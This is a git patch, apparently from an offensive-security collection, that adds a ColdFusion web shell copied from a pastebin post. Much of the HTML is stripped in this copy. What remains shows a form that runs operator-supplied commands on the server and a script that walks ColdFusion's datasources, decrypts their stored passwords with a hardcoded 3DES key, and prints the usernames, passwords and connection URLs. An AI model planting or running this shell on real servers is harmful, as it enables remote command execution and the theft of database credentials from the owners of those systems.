From 46f55b814fa1a194bab90015029b62d5a97ae897 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Wed, 25 Mar 2020 13:25:00 +0000 Subject: [PATCH] Add CFM Shell Source: http://pastebin.com/3HKGQCWF // https://web.archive.org/web/20170322222809/http://pastebin.com/3HKGQCWF --- Web-Shells/CFM/shell.cfm.html | 88 +++++++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 Web-Shells/CFM/shell.cfm.html diff --git a/Web-Shells/CFM/shell.cfm.html b/Web-Shells/CFM/shell.cfm.html new file mode 100644 index 00000000..69a59f5f --- /dev/null +++ b/Web-Shells/CFM/shell.cfm.html @@ -0,0 +1,88 @@ + + + + + +Notes:
+ +

+ + + + + +

Your file has been uploaded.

+ +
+
+ +
+ + + + + + + +
Command:value="#form.cmd#">
Options: value="#form.opts#">
Timeout: value="#form.timeout#" + value="5">
+ + + + + + + + +
+#HTMLCodeFormat(myVar)#
+
+ + + +//The following code borrowed from hernanOchoa @hexale (thx) +//added better formatting on output and connection string [lb] + +// Create Data Source Object +dataSourceObb=createobject("java","coldfusion.server.ServiceFactory"). + getDatasourceService().getDatasources(); + writeoutput("

Datasource Credentials:
"); + writeoutput(""); +// Loop Through DataSources +for(i in dataSourceObb) { + if(len(dataSourceObb[i]["password"])){ + + // Get url + theurl=(dataSourceObb[i]["url"]); + + // Get username + username=(dataSourceObb[i]["username"]); + + // Get and decrypt password + decryptPassword=Decrypt(dataSourceObb[i]["password"], + generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", + "Base64"); + + // Output datasource usernames, passwords, and urls + writeoutput("" & + "" & + "" & + ""); + } +} +writeoutput("
DataSource: " & i & "Username: " & username & "Password: " & decryptPassword & + "URL: " & theurl & "

"); + + + + \ No newline at end of file